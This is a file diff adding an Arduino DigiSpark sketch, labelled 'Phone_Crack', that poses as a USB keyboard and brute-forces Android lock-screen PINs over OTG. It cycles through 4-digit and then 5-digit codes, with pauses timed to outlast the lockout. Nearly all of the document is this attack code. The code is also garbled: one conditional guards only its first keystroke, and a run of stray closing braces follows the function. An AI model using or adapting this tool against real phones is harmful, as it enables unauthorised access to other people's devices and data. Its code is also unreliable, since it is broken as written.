Add 4 Digit PIN - Brute Force.txt

4 Digit PIN - Brute Force.txt

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+/*===============================================
+Phone_Crack -  4 Digit PIN - Brute Force Attack on Android
+Smartphones that Supports OTG-Usb*  
+*AMH Tech Sl sco
+===============================================*/
+
+\#include "DigiKeyboard.h"
+int num\[\] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
+int a = 0; //1st digit
+int b = 0; //2nd digit
+int c = 0; //3rd digit
+int d = 0; //4th digit
+int e = 0; //5th digit
+int count = 0;
+bool key_stroke_e = false;
+
+void setup() {
+    DigiKeyboard.update();
+    DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
+    delay(3000);
+}
+
+void loop() {
+    //After 5 attempts, initialize 31000 ms wait to retry.
+    if(count == 5){
+        digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
+        DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
+        delay(31000);
+        count = 0;
+        digitalWrite(1,LOW);
+    }
+    /*Sends keystrokes based upon the values between 0-9
+    It will start bruting 5 digits if a exceeds 10*/
+    if (key_stroke_e == false)
+    DigiKeyboard.sendKeyStroke(num[a]);
+    DigiKeyboard.sendKeyStroke(num[b]);
+    DigiKeyboard.sendKeyStroke(num[c]);
+    DigiKeyboard.sendKeyStroke(num[d]);
+    //check for whether it is true. If so, use 5 digits instead.
+    if (key_stroke_e == true){
+        DigiKeyboard.sendKeyStroke(num[a]);
+        DigiKeyboard.sendKeyStroke(num[b]);
+        DigiKeyboard.sendKeyStroke(num[c]);
+        DigiKeyboard.sendKeyStroke(num[d]);
+        DigiKeyboard.sendKeyStroke(num[e]);
+    }
+    DigiKeyboard.sendKeyStroke(40);
+    delay(1000);
+    d++;
+    count++;
+    //If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit
+    if(d == 10){
+        d = 0;
+        c++;
+        //If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit
+        if(c == 10){
+            c = 0;
+            b++;
+            //If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit
+            if(b == 10){
+                b = 0;
+                a++; //if the 1st digit is past 9 it'll probably just throw out errors.
+                if(a == 10){
+                    //remain_true will equal true, loop through void(), and send the 5th keystroke
+                    key_stroke_e = true;
+                    e++;
+                    //Remember that brute forcing will still work, despite its strange order.
+                    //After e == 10, it will become 0 again.
+                    if(e == 10){
+                        e = 0;
+                    }
+                }
+            }  
+        }
+    }  
+}
+                    }
+                }
+            }
+        }
+    }
+    }
+    }
+}
+}